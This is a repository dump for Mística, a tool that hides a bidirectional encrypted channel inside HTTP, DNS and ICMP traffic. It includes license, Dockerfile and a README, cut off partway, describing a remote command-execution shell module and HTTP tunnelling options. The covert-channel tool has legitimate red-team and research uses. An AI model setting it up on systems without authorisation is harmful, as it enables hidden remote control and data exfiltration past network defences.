Repository: IncideDigital/Mistica Branch: master Commit: 963115706c27 Files: 43 Total size: 458.1 KB Directory structure: gitextract_79tz8_83/ ├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── logs/ │ └── .gitkeep ├── mc.py ├── ms.py ├── overlay/ │ ├── client/ │ │ ├── __init__.py │ │ ├── io.py │ │ ├── shell.py │ │ ├── tcpconnect.py │ │ └── tcplisten.py │ └── server/ │ ├── __init__.py │ ├── io.py │ ├── shell.py │ ├── tcpconnect.py │ └── tcplisten.py ├── sotp/ │ ├── clientworker.py │ ├── core.py │ ├── misticathread.py │ ├── packet.py │ ├── route.py │ ├── router.py │ └── serverworker.py ├── utils/ │ ├── bitstring.py │ ├── buffer.py │ ├── icmp.py │ ├── logger.py │ ├── messaging.py │ ├── prompt.py │ └── rc4.py └── wrapper/ ├── client/ │ ├── __init__.py │ ├── dns.py │ ├── http.py │ └── icmp.py └── server/ ├── wrap_module/ │ ├── __init__.py │ ├── dns.py │ ├── http.py │ └── icmp.py └── wrap_server/ ├── __init__.py ├── dnsserver.py ├── httpserver.py └── icmpserver.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ *.pyc __pycache__ *.log wiki .vscode build dist *.bin *.zip docs tests mc.spec ms.spec mc ms *.pem ================================================ FILE: Dockerfile ================================================ # [*] First build image with: # # sudo docker build --tag mistica:latest . # # [*] Second, create the network with: # # sudo docker network create misticanw # # [*] Third run the server with: # # sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash # # [*] Fourth run the client with: # # sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash FROM python:3.7 LABEL maintainer="rcaro@incide.es" RUN python3.7 -m pip install pip && python3.7 -m pip install dnslib WORKDIR /opt/Mistica ENTRYPOINT /bin/bash ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. mistica Copyright (C) 2020 INCIDE This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: mistica Copyright (C) 2020 INCIDE This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: README.md ================================================ # Mística | ![Mística Logo](mistica.png) | |:----------: | | Mística Logo by [JoelGMSec](https://twitter.com/joelgmsec) | Mística is a tool that allows to embed data into application layer protocol fields, with the goal of establishing a bi-directional channel for arbitrary communications. Currently, encapsulation into HTTP, HTTPS, DNS and ICMP protocols has been implemented, but more protocols are expected to be introduced in the near future. Mística has a modular design, built around a custom transport protocol, called SOTP: Simple Overlay Transport Protocol. Data is encrypted, chunked and put into SOTP packets. SOTP packets are encoded and embedded into the desired field of the application protocol, and sent to the other end. The goal of the SOTP layer is to offer a generic binary transport protocol, with minimal overhead. SOTP packets can be easily hidden or embeddeded into legitimate application protocols. Also SOTP makes sure that packets are received by the other end, encrypts the data using RC4 (this may change in the future), and makes sure that information can flow in both ways transparently, by using a polling mechanism. Modules interact with the SOTP layer for different purposes: - Wrap modules or Wrappers: These modules encode / decode SOTP packets from / into application layer protocols - Overlay modules: These Modules ccommunicate over the SOTP channel. Examples are: io redirection (like netcat), shell (command execution), port forwarding… Wrapper and overlay modules work together in order to build custom applications, e.g input redirection over DNS or remote port forwarding over HTTP. Mística’s modular design allows for easy development of new modules. Also, the user can easily fork current modules in order to use some custom field or encoding or modify the behavior of an overlay module. There are two main pieces of sofware: - Mística server (`ms.py`): Uses modules that act as the server of the desired application layer protocol (HTTP, HTTPS, DNS, ICMP...). It is also designed in a way that will allow for multiple servers, wrappers and overlays to be run at the same time, with just one instance of `ms.py`, although this feature is not fully implemented yet. - Mística client (`mc.py`): Uses modules that act as the client of the desired applicarion layer protocol (HTTP, HTTPS, DNS, ICMP...). It can only use one overlay and one wrapper at the same time. ## Demos You can see some Mística demos in the following [playlist](https://www.youtube.com/playlist?list=PLyUtb47GNF9wqIwI1DGpX_Fr1IXpXHRqB) ## Dependencies The project has very few dependencies. Currently: - Mística Client needs at least Python 3.7 - Mística Server needs at least Python 3.7 and `dnslib`. ``` python3.7 -m pip install pip --user pip3.7 install dnslib --user ``` If you don't want to install python on your system, you can use one of the following portable versions: - https://www.anaconda.com/distribution/#download-section (for Windows, Linux and macOS) - https://github.com/winpython/winpython/releases/tag/2.1.20190928 (only for Windows) ## Current modules Overlay modules: - `io`: Reads from stdin, sends through SOTP connection. Reads from SOTP connection, prints to stdout - `shell`: Executes commands recieved through the SOTP connection and returns the output. Compatible with io module. - `tcpconnect`: Connects to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket. - `tcplisten`: Binds to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket. Wrap modules: - `dns`: Encodes/Decodes data in DNS queries/responses using different methods - `http`: Encodes/Decodes data in HTTP or HTTPS requests/responses using different methods - `icmp`: Encodes/Decodes data in ICMP echo requests/responses on data section ## Usage `ms.py`: Mística Server Here's how the help message looks like: ```txt usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS] Mistica server. Anything is a tunnel if you're brave enough. Run without parameters to launch multi-handler mode. optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair in single-handler mode. format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module (Single-handler mode) -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module (Single-handler mode) -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS args for the selected wrap server (Single-handler mode) -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High) ``` There are two main modes in Mística Server: - **Single Handler Mode**: When `ms.py` is launched with parameters, it allows a single overlay modoule interacting with a single wrapper module. - **Multi-handler Mode:** (Not published yet) When `ms.py` is run without parameters, the user enters an interactive console, where multiple overlay and wrapper modules may be launched. These modules will be able to interact with each other, with few restrictions. `mc.py`: Mística client Here's how the help message looks like: ```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS] Mistica client. optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High) ``` ### Parameters - `-l, --list` is used to either list `all` modules, only list one type: (`overlays` or `wrappers`) or list the parameters that a certain module can accept through `-o`, `-w` or `-s`. - `-k, --key` is used to specify the key that will be used to encrypt the overlay communication. This must be the same in client and server and is currently mandatory. This may change in the future if secret-sharing schemes are implemented. - `-m, --modules` is used to specify which module pair do you want to use. You must use the following format: **overlay_module** + **:** + **wrap_module**. This parameter is also mandatory. - `-w, --wrapper-args` allows you to specify a particular configuration for the wrap module. - `-o, --overlay-args` allows you to specify a particular configuration for the overlay module. - `-s, --wrap-server-args` is only present on `ms.py`. It allows you to specify a particular configuration for the wrap server. Each wrap module has a dependency on a wrap server, and both configurations can be tuned ## Examples and Advanced use > Remember that you can see all of the accepted parameters of a module by typing `-l ` (e.g `./ms.py -l dns`). Also remember to use a long and complex key to protect your communications! ### HTTP In order to illustrate the different methods of HTTP encapsulation, the IO redirection overlay module (`io`) will be used for every example. - HTTP GET method with b64 encoding in the default URI, using localhost and port 8080 (default values). - Mística Server: `./ms.py -m io:http -k "rc4testkey"` - Mística Client: `./mc.py -m io:http -k "rc4testkey"` - HTTP GET method with b64 encoding in the default URI, **specifying IP address and port**. - Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"` - HTTP GET method with b64 encoding in **custom URI**, using localhost and port 8080 (default values). - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="` - HTTP GET method with b64 encoding in **custom header**, using localhost and port 8080 (default values). - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"` - HTTP **POST** method with b64 encoding in default field, using localhost and port 8080 (default values). - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST"` - HTTP **POST** method with b64 encoding in **custom header**, using localhost and port 8080 (default values). - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"` - HTTP **POST** method with b64 encoding in **custom field**, using localhost and port 8080 (default values). - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"` - HTTP **POST** method with b64 encoding in **custom field, with custom packet size, custom retries, custom timeout and sepcifying IP and port**: - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"` - HTTP **POST** method with b64 encoding in **custom field**, **using a custom error template**, using localhost and port 8080 (default values). - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"` - HTTP GET method with b64 encoding in the default URI, using **custom HTTP response code** and using localhost and port 8080 (default values): - Mística 